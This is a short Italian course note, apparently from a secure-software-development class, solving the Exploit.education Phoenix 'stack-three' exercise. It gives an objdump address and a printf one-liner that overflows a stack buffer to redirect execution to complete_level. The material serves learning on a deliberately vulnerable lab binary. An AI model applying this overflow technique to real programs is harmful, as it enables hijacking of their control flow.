1
Fork 0
mirror of https://github.com/Steffo99/appunti-magistrali.git synced 2024-11-25 11:34:18 +00:00
appunti-steffo/8 - Sviluppo di software sicuro/2 - Esercizi svolti/Exploit.education - Phoenix/03 - stack-three.md

20 lines
457 B
Markdown
Raw Normal View History

2023-09-21 00:46:23 +00:00
# [Stack Three](https://exploit.education/phoenix/stack-three/)
Per fixare `gdb`, usare:
```bash
export LC_CTYPE=C.UTF-8
```
Usando `objdump` si può trovare l'indirizzo della funzione:
```
000000000040069d g     F .text  0000000000000018 complete_level
```
L'indirizzo è quello nella prima colonna, `000000000040069d`.
## Soluzione
```bash
printf 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
a\x9d\x06@' | ./stack-three
```